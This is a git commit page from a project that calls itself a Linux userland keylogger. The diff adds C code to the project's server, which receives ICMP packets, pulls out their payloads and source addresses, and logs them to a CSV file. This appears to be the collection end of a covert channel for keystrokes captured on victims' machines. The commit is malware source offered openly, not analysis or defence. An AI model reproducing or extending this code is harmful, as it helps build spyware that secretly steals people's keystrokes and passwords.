mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit ab85d08a055225f3ab91246d2ab35b9fd9a37bae
parent c08eea7931457d6df6c0bd8ccc8d64e38c8f4467
Author: djnnvx <[email protected]>
Date: Fri, 19 Apr 2024 15:07:31 +0200

feat(server): parsing ICMP packets

Diffstat:
Mserver/Makefile | 1+
Mserver/includes/server.h | 10+++++-----
Mserver/sources/loop.c | 29++++++++++++++++++++++-------
Mserver/sources/net.c | 46+++++++++++++++++++++++++++++++++++++++++++++-

4 files changed, 73 insertions(+), 13 deletions(-)

diff --git a/server/Makefile b/server/Makefile
@@ -11,6 +11,7 @@ LINK_FLAG    	= -lxkbcommon
 
 
 CFLAGS 			= -Wno-unused-command-line-argument -Wno-cast-qual -fPIC
+CFLAGS 			+= -Wno-tautological-value-range-compare
 
 ifeq ($(MAKECMDGOALS), debug)
 	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -31,7 +31,7 @@
 #include <unistd.h>
 
 #define QUEUE_BUFFER_SIZE 1024
-#define STRING_BUFFER_SIZE 256
+#define STRING_BUFFER_SIZE 4096
 #define MAX_NB_CLIENT 128
 
 /* meant for key translations from xkbcommon and the event we receive. :^) */
@@ -64,15 +64,15 @@ struct client_state {
     clients;
 };
 
-#define IP_LENGTH (40)
-#define ICMP_DATA_LENGTH (128) /* should not exceed 9000 AFAIK (also should not exceed STRING_BUFFER_SIZE) */
+#define IP_LENGTH (16)
+#define ICMP_DATA_LENGTH (2048) /* should not exceed 9000 AFAIK (also should not exceed STRING_BUFFER_SIZE) */
 
 typedef struct icmp_packet {
     char addr[IP_LENGTH];
     int type;
 
     char payload[ICMP_DATA_LENGTH];
-    ssize_t payload_size;
+    size_t payload_size;
 } icmp_msg_t;
 
 
@@ -108,7 +108,7 @@ typedef struct server_state {
 
 // net.c
 int init_remote_connection(server_t *instance);
-int net_poll_icmp_recv(server_t *instance, icmp_msg_t *msg);
+int net_icmp_recv(const server_t *instance, icmp_msg_t *msg);
 
 // lexxer.c
 int parse_cli_arguments(server_t *instance, const int ac, char **av, char **envp);
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -15,25 +15,34 @@
 #include "server.h"
 
 
+static void
+sig_handler(int code) {
+    if (code == SIGINT)
+        should_gracefully_exit(code);
+}
+
+
 void loop(server_t *instance) {
 
     int dbfd = init_csv_dbfd(instance->options.db_filepath);
     if (dbfd < 0 && instance->options.db_filepath[0] != 0)
         return;
 
+    signal(SIGINT, sig_handler);
     TAILQ_INIT(&instance->clients);
     while (should_gracefully_exit(0)) {
 
         icmp_msg_t msg = {0};
 
         /* poll for new packet */
-        if (net_poll_icmp_recv(instance, &msg) < 0) {
+        if (net_icmp_recv(instance, &msg) < 0) {
             goto CLEANUP_ROUTINE;
         }
 
-        /* have we received a new message */
+        /* have we received a new message ?
+         * (we should always have one but lets check if something fucked up) */
         if (msg.addr[0] == 0) {
-            usleep(7500);
+            usleep(2500);
             continue;
         }
 
@@ -64,8 +73,14 @@ CLEANUP_ROUTINE:
     close(dbfd);
 }
 
-static void
-sig_handler(int code) {
-    if (code == SIGINT)
-        should_gracefully_exit(code);
+int should_gracefully_exit(int code) {
+    static int should_exit = 0;
+
+    if (code != 0 || should_exit) {
+#ifdef DEBUG
+        DEBUG_LOG("[+] caught code: %d\n", code)
+#endif
+        should_exit = 1;
+    }
+    return should_exit;
 }
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -9,6 +9,7 @@
 #include <netinet/ip_icmp.h>
 #include <sys/socket.h>
 
+#include <string.h>
 #include "server.h"
 
 int init_remote_connection(server_t *instance) {
@@ -84,10 +85,53 @@ int init_remote_connection(server_t *instance) {
     return sockfd;
 }
 
-int net_poll_icmp_recv(server_t *instance, icmp_msg_t *msg) {
+/* NOTE(djnn): this function's failure triggers exit routine,
+ * so ERROR is only returned on critical error */
+int net_icmp_recv(const server_t *instance, icmp_msg_t *msg) {
 
+    socklen_t src_addr_size = 0;
     struct sockaddr_in src_addr = {0};
+    struct iphdr *ip_addr = NULL;
+    struct icmphdr *icmp_header = NULL;
+
+    /* check if we can hold the full message */
+    _Static_assert(MTU + sizeof(struct iphdr) + sizeof(struct icmphdr) < ICMP_DATA_LENGTH, "ICMP_DATA_LENGTH is not big enough");
+
+    const int encapsulated_mtu = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);
+    char full_packet[ICMP_DATA_LENGTH] = {0}; /* all values are static ; this is fine */
+
+    /* blocking recvfrom() to retrieve ICMP packet :) */
+    ssize_t pktsz = recvfrom(
+        instance->sockfd,
+        full_packet,
+        encapsulated_mtu,
+        0,
+        (struct sockaddr *)&(src_addr),
+        &src_addr_size
+        );
+    if (pktsz < 0)
+        return ERROR;
+
+    /* parse headers */
+    ip_addr = (struct iphdr *)full_packet;
+    icmp_header = (struct icmphdr *)(full_packet + sizeof(struct iphdr));
+    msg->payload_size = (size_t)pktsz - sizeof(struct iphdr) - sizeof(struct icmphdr);
+
+    if (memccpy(
+        msg->payload,
+        (full_packet + sizeof(struct iphdr) + sizeof(struct icmphdr)),
+        0,
+        msg->payload_size
+        ) == NULL) {
+        /* non-critical error. maybe perror() this ? */
+        bzero(msg->addr, IP_LENGTH);
+
+        return SUCCESSFUL;
+    }
 
+    /* set message type & source ip-addr */
+    msg->type = icmp_header->type;
+    inet_ntop(AF_INET, &(ip_addr->saddr), msg->addr, INET_ADDRSTRLEN);
 
     return SUCCESSFUL;
 }